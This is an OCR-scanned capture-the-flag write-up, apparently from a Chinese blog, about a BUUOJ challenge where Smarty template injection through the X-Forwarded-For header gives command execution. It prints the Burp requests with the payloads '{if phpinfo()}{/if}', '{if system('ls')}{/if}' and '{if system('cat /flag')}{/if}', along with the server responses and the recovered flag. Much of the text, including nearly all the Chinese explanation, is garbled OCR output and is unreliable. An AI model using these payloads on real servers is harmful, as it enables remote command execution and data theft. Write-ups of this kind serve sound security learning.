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IP Current IP:172.16.170.85

Why use?

Do you need to get the public IP address ? Do you have the requirements to obtain the
servers’ public IP address? Whatever the reason,sometimes a public IP address API are useful.

You should use this because:

« You can initiate requests without any limit.
« Does not record the visitor information.

APl Usage

- API URI Type Sample
Output
get IP http://node3.buuoj.cn:25267/api  text/html §.8.8.8
get XFF(X- http://node3.buuoj.cn:25267/xff text/html §.8.8.8
Forwarded-For)
Connection
Request-Header

GET / HTTP/2.8
Host: www.ip.la
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ACCEepT: Text/ntml,appllcatlion/XnNTmLi+XmL,appllcatlon/xXmi;q=u.9,1mage/ wepp,1n
Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh-TW;q=@.9,zh;q=0.8

Cache-Control: max-age=@

Dnt: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.8 (Windows NT 18.@; Win64; x64) ApplewWebKit/537.36 (K

Build With Smarty !
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Raw | Params | Headers | Hex

GET / HTTP/1.1

Host: node3.buuoj.cn:28540

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O0S X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/webp,image/apng,*/*;g=0.8,application/signed-exchange;v=b3;g=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: UM distinctid=1768e6bc3e04d6-0add687fb96a01-6d112d7c-13c680-1768e6bc3elf53

10 Connection: close
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HniERL: X-Forwarded-For: 127.0.0.1, 7ERepeatert RiX¥ER, BRFEE.
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<h2 class="hidden-xs hidden-sm">A Simple Public IP Address API</h2>
</div>
<div style="float:right;margin-top:30px;">Current IP:127.0.0.1 </

RBEREMAE—E, RAEEHATFEEAN
Vilal /index.php LT, BEIEWEIE, HIWHEEWIES NPHP, 7 HELMES:

Build With Smarty !

HOUPHPELRR 51 %, EAE:

e {$name} BE

o {$name[2]} %4

o {* MR )} IR

o {if}{/if}

KRB EAE: {$smarty.config}

RIEI 4 HTHFLHR: {$smarty.current_dir}
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<div class="row">
<div style="float:left;">

<h1>IP</hl>
<h2 class="hidden-xs hidden-sm">A Simple Public IP Address API</h2>
</div>
<div style="float:right;margin-top:30px;">Current IP:49 </div>

</div>

BINPAT, AR5 I EE K2 R A phpfiiAdc
Be B P BBk A phpi A, BUHRTF $php_handling IR E, FEAEE:

{php}

include("/path/to/display weather.php");
{/php}

BN FRIR S, JEREMER, 2FKIPHPFMFREXMRBIATE (i) PEH
HEEE phpinfo (58, ffHBurpSuitelTi Bz G, HMERKER:

X-Forwarded-For: {if phpinfo()}{/if}
REBFEASE, B3

P

A Simple Public IP Address API

Current IP:

PHP Version 7.3.5 Php

System Linux 317fd9d80612 4.15.0-128-generic #131-Ubuntu SMP Wed Dec 9 06:57:35 UTC 2020 x86_64
Build Date May 11 2019 03:16:59
Configure Command './configure' '-—build=x86_64-linux-mus!' '--with-config-file-path=/usr/local/etc/php' '=—with-config-file—

scan-dir=/usr/local/etc/php/conf.d' '~—enable-option-checking=fatal' '~-with-mhash' '-—enableftp' '——
enable-mbstring' '-—enable-mysqind' '--with-password-argon2' '--with-sodium=shared' '--with—curl' '-—
with-libedit' '-—with—-openss|' '-—with—zlib' '-—enable-fpm' '-—with—fpm-user=www-data' '--with—fpm-
group=www-data' '-—disable-cgi' 'build_alias=x86_64-linux-musl'

Server API FPM/FastCGlI

Virtual Directory Support disabled

Configuration File (php.ini) Path /usr/local/etc/php
Loaded Configuration File (none)

Scan this dir for additional .ini files /usr/local/etc/php/conf.d

EALF ABATphp B H, FrBLZiXH system() BEEIT 2, HiEpayload:

{if system('ls')}{/if}
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Request

J RawT Params T Headers T Hex ]

1 GET / HTTP/1.1 A
2 Host: node3.buuoj.cn:28540 F
3 Cache-Control: max-age=0

4 Upgrade-Insecure-Requests: 1

5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac O0S X 11 1 0)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we

bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;qg=0.9

9 Cookie: UM distinctid=
1768e6bc3e04d6-0add687fb96a01-6d112d7¢c-13c680-1768eb6bc3elfs3

10 Connection: close

11 X-Forwarded-For: {if system('ls')}{/if}
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RIEFHEE, [ELHEEXTXHAE:

203 <div style="float:right;margin-top:30px;">Current IP:api
21 «css

22 index.php

23 smarty

24 templates c

25 xff

26 </div>
27 </div>
ERfagifENL B :

{if system('ls /')}{/if}



203 <div
21 dev

22 etc

23 flag

24 home

25 1lib

26 media

E / BT #kEMag, FH cat 4 iEE:
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Request

Raw | Params | Headers | Hex

style="float:right;margin-top:30px; ">Current IP:bin

Target: http://node3.buuoj.cn::

Response

Raw | Headers | Hex HTMLTRender]

Host: node3.buuoj.cn:28540 2
Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we
bp,image/apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: UM distinctid=
1768e6bc3e04d6-0add687£fb96a01-6d112d7c-13c680-1768e6bc3elf53

10 Connection: close

11 X-Forwarded-For: {if system('cat /flag|')}{/if}

o R wNE

©®

13

5 2lflag

GET / HTTP/1.1 A

7 Content-Length: 3962
8
9E <html lang="en"><head><meta http-equi

"Content-Type" content="text/html; charse

10 <title>A Simple IP Address API</title>
11 <link rel="stylesheet" href="./css/bootstrap.min.css">
12 </head>
133 <body>
14E <div class="container">
153 <div class="row">
163 <div style="float:left;">
17 <h1>IP</h1>
18 <h2 class="hidden-xs hidden-sm">A Simple Public IP Address API</h2>
19 </div>
20@ <div style="float:right;margin-top:30px;">Current IP:<?php $flag="
flag{0549ae6e-3054-44fb-aaea-ffc27af919d3}";
</div>
22 </div>
23
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